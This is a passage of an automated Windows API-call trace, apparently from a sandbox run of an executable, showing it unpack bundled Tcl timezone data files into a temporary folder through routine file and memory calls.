lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Stanley", lpFilePart=0x0) returned 0x48 [0040.901] GetLastError () returned 0x2 [0040.901] SetLastError (dwErrCode=0x2) [0040.901] GetLastError () returned 0x2 [0040.901] SetLastError (dwErrCode=0x2) [0040.901] GetLastError () returned 0x2 [0040.902] SetLastError (dwErrCode=0x2) [0040.902] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Stanley") returned 73 [0040.902] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.902] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Stanley" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic\\stanley"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.902] GetFileType (hFile=0x10c) returned 0x1 [0040.902] htonl (hostlong=0xa7080000) returned 0x8a7 [0040.902] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.902] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x8a7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x8a7, lpOverlapped=0x0) returned 1 [0040.903] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.903] CloseHandle (hObject=0x10c) returned 1 [0040.903] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.903] htonl (hostlong=0x30000000) returned 0x30 [0040.903] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.903] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.903] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.903] GetFileType (hFile=0x10c) returned 0x1 [0040.904] htonl (hostlong=0x665c5b00) returned 0x5b5c66 [0040.904] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x600c66, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.904] htonl (hostlong=0x8a000000) returned 0x8a [0040.904] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8a) returned 0x55cfe0 [0040.904] htonl (hostlong=0x8a000000) returned 0x8a [0040.904] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.904] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.904] htonl (hostlong=0xb9000000) returned 0xb9 [0040.904] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb9) returned 0x55e0a8 [0040.904] htonl (hostlong=0x8a000000) returned 0x8a [0040.904] htonl (hostlong=0xb9000000) returned 0xb9 [0040.904] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.904] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.904] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.904] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.904] CloseHandle (hObject=0x10c) returned 1 [0040.904] GetLastError () returned 0x0 [0040.904] SetLastError (dwErrCode=0x0) [0040.904] GetLastError () returned 0x0 [0040.904] SetLastError (dwErrCode=0x0) [0040.904] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.904] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.904] GetFileType (hFile=0x10c) returned 0x1 [0040.904] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.904] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.905] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.905] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.905] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.905] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.905] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.905] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.905] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.905] CloseHandle (hObject=0x10c) returned 1 [0040.905] GetLastError () returned 0x0 [0040.905] SetLastError (dwErrCode=0x0) [0040.905] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.905] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.905] GetFileType (hFile=0x10c) returned 0x1 [0040.905] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.905] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.905] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.905] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.905] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.905] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.905] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.905] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.905] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.905] CloseHandle (hObject=0x10c) returned 1 [0040.905] GetLastError () returned 0x0 [0040.905] SetLastError (dwErrCode=0x0) [0040.905] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia") returned 66 [0040.906] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.906] GetLastError () returned 0x2 [0040.906] SetLastError (dwErrCode=0x2) [0040.906] GetLastError () returned 0x2 [0040.906] SetLastError (dwErrCode=0x2) [0040.906] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia", lpFilePart=0x0) returned 0x41 [0040.906] GetLastError () returned 0x2 [0040.906] SetLastError (dwErrCode=0x2) [0040.906] GetLastError () returned 0x2 [0040.906] SetLastError (dwErrCode=0x2) [0040.906] GetLastError () returned 0x2 [0040.906] SetLastError (dwErrCode=0x2) [0040.906] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia"), lpSecurityAttributes=0x0) returned 1 [0040.906] GetLastError () returned 0x2 [0040.906] SetLastError (dwErrCode=0x2) [0040.906] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\ACT") returned 70 [0040.906] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\ACT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\act"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.906] GetLastError () returned 0x2 [0040.906] SetLastError (dwErrCode=0x2) [0040.906] GetLastError () returned 0x2 [0040.906] SetLastError (dwErrCode=0x2) [0040.906] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\ACT", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\ACT", lpFilePart=0x0) returned 0x45 [0040.906] GetLastError () returned 0x2 [0040.907] SetLastError (dwErrCode=0x2) [0040.907] GetLastError () returned 0x2 [0040.907] SetLastError (dwErrCode=0x2) [0040.907] GetLastError () returned 0x2 [0040.907] SetLastError (dwErrCode=0x2) [0040.907] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\ACT") returned 70 [0040.907] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.907] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\ACT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\act"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.907] GetFileType (hFile=0x10c) returned 0x1 [0040.907] htonl (hostlong=0xb9000000) returned 0xb9 [0040.907] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.907] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb9, lpOverlapped=0x0) returned 1 [0040.908] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.908] CloseHandle (hObject=0x10c) returned 1 [0040.908] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e0a8 | out: hHeap=0x530000) returned 1 [0040.908] htonl (hostlong=0x30000000) returned 0x30 [0040.908] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.908] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.908] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.908] GetFileType (hFile=0x10c) returned 0x1 [0040.908] htonl (hostlong=0xf05c5b00) returned 0x5b5cf0 [0040.908] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x600cf0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.908] htonl (hostlong=0x28060000) returned 0x628 [0040.908] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x628) returned 0x550600 [0040.908] htonl (hostlong=0x28060000) returned 0x628 [0040.909] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.909] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.909] htonl (hostlong=0x971e0000) returned 0x1e97 [0040.909] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1e97) returned 0x561090 [0040.909] htonl (hostlong=0x28060000) returned 0x628 [0040.909] htonl (hostlong=0x971e0000) returned 0x1e97 [0040.909] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562f30 [0040.909] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562f30 | out: hHeap=0x530000) returned 1 [0040.909] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.909] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.909] CloseHandle (hObject=0x10c) returned 1 [0040.909] GetLastError () returned 0x0 [0040.909] SetLastError (dwErrCode=0x0) [0040.909] GetLastError () returned 0x0 [0040.909] SetLastError (dwErrCode=0x0) [0040.909] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.909] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.909] GetFileType (hFile=0x10c) returned 0x1 [0040.909] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.909] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.909] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.909] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.909] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.909] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.909] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.909] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.910] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.910] CloseHandle (hObject=0x10c) returned 1 [0040.910] GetLastError () returned 0x0 [0040.910] SetLastError (dwErrCode=0x0) [0040.910] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.910] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.910] GetFileType (hFile=0x10c) returned 0x1 [0040.910] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.910] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.910] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.910] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.910] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.910] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.910] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.910] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.910] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.910] CloseHandle (hObject=0x10c) returned 1 [0040.910] GetLastError () returned 0x0 [0040.910] SetLastError (dwErrCode=0x0) [0040.910] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia") returned 66 [0040.910] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.910] GetFileType (hFile=0x10c) returned 0x1 [0040.910] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.910] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.911] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.911] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.911] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.911] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.911] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.911] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.911] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.911] CloseHandle (hObject=0x10c) returned 1 [0040.911] GetLastError () returned 0x0 [0040.911] SetLastError (dwErrCode=0x0) [0040.911] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Adelaide") returned 75 [0040.911] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Adelaide" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\adelaide"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.911] GetLastError () returned 0x2 [0040.911] SetLastError (dwErrCode=0x2) [0040.911] GetLastError () returned 0x2 [0040.911] SetLastError (dwErrCode=0x2) [0040.911] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Adelaide", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Adelaide", lpFilePart=0x0) returned 0x4a [0040.911] GetLastError () returned 0x2 [0040.911] SetLastError (dwErrCode=0x2) [0040.911] GetLastError () returned 0x2 [0040.911] SetLastError (dwErrCode=0x2) [0040.911] GetLastError () returned 0x2 [0040.911] SetLastError (dwErrCode=0x2) [0040.911] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Adelaide") returned 75 [0040.911] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.911] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Adelaide" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\adelaide"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.912] GetFileType (hFile=0x10c) returned 0x1 [0040.912] htonl (hostlong=0x971e0000) returned 0x1e97 [0040.912] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0040.913] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.913] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe97, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, 